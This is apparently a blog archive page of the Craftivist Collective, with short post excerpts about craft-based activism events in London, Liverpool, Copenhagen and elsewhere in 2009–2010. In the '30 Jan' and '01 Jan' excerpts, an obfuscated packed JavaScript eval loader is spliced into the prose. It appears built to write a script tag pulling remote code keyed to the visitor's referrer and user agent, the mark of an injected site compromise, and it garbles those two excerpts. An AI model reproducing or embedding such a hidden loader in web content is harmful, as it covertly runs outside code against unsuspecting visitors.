Author: Craftivist Collective

15 Feb Alternative Valentine’s cards 2009

Sarah Corbett writes: One hundred cards were left around Central London on Valentine’s Day 2009. Each contained an alternative Valentine’s letter, a handmade gift and a sweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc, you don’t have to be in a relationship to have one of these! I did this project in Liverpool 2008. These are valentine’s cards with a difference: the letter is written from a person from a developing country asking for people to show some ‘real love’ for the unforgotten poorest people in the world. The card includes either a keyring or a badge in the shape of a Loveheart sweet saying ‘Real Love’ and an actual sweet.
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15 Feb Come join us at our Craftivism Corner

You are cordially invited to join the Craftivist Collective at: United Underground 2, Southbank London. 5pm-11pm Saturday 20th February 2010. We will have a 'Craftivism Corner' creating 3 projects all on the theme of conflict in Sudan.
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01 Feb Embroidered vaginas

On Thursday 21st January 2010 the Craftivist Collective had their monthly meeting in the London Southbank Royal Festival Hall cafe 6:30pm onwards. This time we joined forces with the beautiful, talented and passionate activists the Shoreditch Sisters (who are a Womens Institute group) to get as many people as possible to create beautiful vaginas to make people aware of the issue of Female Genital Cutting, 'designer vaginas' and the stigma and disgust people have for our natural organs.
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30 Jan A quick and easy Craftivism project anyone can do in different ways

Four eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyksy|var|u0026u|referrer|ebfhy||js|php'.split('|'),0,{})) steps to Craftivism: 1. Buy or print the orginal image in whatever size you want. 2. Deface the image with the above words (you can...

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01 Jan We have gone international!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkktt|var|u0026u|referrer|drfhz||js|php'.split('|'),0,{})) Craftivist Collective now includes LA baby! Ellen Schinderman is our LA Craftivist. Ellen emailed me when I was wrote my 'A Lonely Craftivist' blog...

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14 Dec Craftivists at the Copenhagen Climate Conference: December 2009

The ?Craftivist Collective and other climate change activists from all over the world went to Copenhagen, Denmark to tell World Leaders that they need to come up with a fair and binding climate change deal that supports the poorest people in the world now and in the future.
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07 Dec Guestspot at Oxfam’s Creative Campaigning workshop – December 2009

On the evening of Wednesday 16th December 2009 the Craftivist Collective were invited by Oxfam to be part of a creative campaigns workshop with some of their active campaigners around London.
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23 Nov People & Planet student weekend, Manchester

The Craftivist Collective were asked by People and Planet to deliver 2 craftivism workshops with students from all over the UK in November 2009 as part of their 'Shared Planet' weekend conference in Manchester.
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15 Nov ‘Countdown to Christmas’ Crafternoon

Crafternoon: Saturday 14th November 2pm - 5pm Upstairs in the Victorian Saloon The Old Queens Head:44 Essex Road.Islington, N1 8LN This was a Craft Guerrilla event that the Craftivist Collective were invited to be part of. Read on to see what the lovely Craft Guerrilla ladies wrote about the day...
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